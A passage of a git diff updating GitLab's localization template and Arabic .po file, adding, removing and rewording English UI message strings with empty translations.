+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index 7618208528d..1668530af22 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:15\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -94,6 +94,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -241,8 +250,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d day until tags are automatically removed"
